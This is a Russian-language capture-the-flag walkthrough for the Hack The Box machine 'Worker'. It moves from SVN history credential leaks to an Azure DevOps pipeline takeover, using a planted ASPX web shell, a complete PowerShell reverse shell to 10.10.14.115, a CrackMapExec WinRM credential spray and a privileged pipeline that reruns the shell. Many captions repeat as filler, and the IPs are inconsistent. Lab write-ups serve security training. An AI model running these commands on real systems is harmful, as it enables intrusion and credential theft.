Как захватить хост с Azure DevOps

Azure DevOps Serve-продукт от Microsoft Corporation, который представляет собой комплексное решение, сочетающее в себе систему контроля версий, сбор данных, отчетность, статус и отслеживание изменений для проекта и предназначенное для совместной работы над проектами разработки программного обеспечения. Продукт доступен как отдельное приложение, аналогичное по функциям облачной службе Azure DevOps Services (до 2019 года называлась Visual Studio Team Services, VSTS) 

Как захватить хост с Azure DevOps

Recon

Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.203	worker.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Как захватить хост с Azure DevOps

И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.

Как захватить хост с Azure DevOps

Давайте обратимся к службе svn. Subversion — это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.

svn info svn://worker.htb
Как захватить хост с Azure DevOps

И мы знаем базовую ветку, автора и  что мы можем узнать последние пять изменений.

Entry Point

Посмотрим список файлов в данной ветке.

svn list svn://worker.htb
Как захватить хост с Azure DevOps

Имеем директорию и файл. Скачиваем все к себе на хост.

svn export svn://worker.htb/dimension.worker.htb/
Как захватить хост с Azure DevOps
 svn export svn://worker.htb/moved.txt
Как захватить хост с Azure DevOps

И из последнего файла узнаем новый поддомен.

Как захватить хост с Azure DevOps

Добавим его в /etc/hosts.

10.10.10.203	devops.worker.htb

Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.

svn checkout -r 1 svn://worker.htb
Как захватить хост с Azure DevOps
 svn checkout -r 2 svn://worker.htb
Entry Point

Применим изменения, чтобы получить данный файл.

svn up -r 2 deploy.ps1
Entry Point

 

И в данном powershell скрипте обнаружим учетные данные.

Entry Point

 С найденными учетными данными получается аутентифицироваться на сайте.

Как захватить хост с Azure DevOps

USER

Обратим внимание на репозиторий и то, что он содержит код.

USER

Используем название репозитория как субдомен, занеся его в /etc/hosts.

10.10.10.203	spectral.worker.htb

И нас встречает сайт.

И нас встречает сайт.

Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадим новую ветку, добавим файл, добавим задачу, и сделаем ветку основной.

И нас встречает сайт.
И нас встречает сайт.
И нас встречает сайт.
И нас встречает сайт.
И нас встречает сайт.
И нас встречает сайт.
И нас встречает сайт.
И нас встречает сайт.
И нас встречает сайт.
И нас встречает сайт.

И после применения всех изменений, обратимся к нашему файлу.

обратимся к нашему файлу.

Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}; $client.Close()
обратимся к нашему файлу.

И получаем шелл.

И получаем шелл.

Немного осмотревшись, находим директории с конфигурациями.

директории с конфигурациями.
директории с конфигурациями.

 

И в файле passwd есть много пар логинов и паролей.

И в файле passwd есть много пар логинов и паролей.

А по открытым портам определяем работающую службу WinRM.

И в файле passwd есть много пар логинов и паролей.

 Давайте сделаем списки пользователей и паролей.

cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txt
cat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt

А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.

cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb

И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.

ROOT

С этими же учетными данными мы возвращаемся на наш сайт.

Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.

В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.

К примеру, загрузить и выполнить прежний шелл.
К примеру, загрузить и выполнить прежний шелл.
К примеру, загрузить и выполнить прежний шелл.

И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.

  •  

Вся информация предоставлена ​​только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных при изучении этого документа.

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.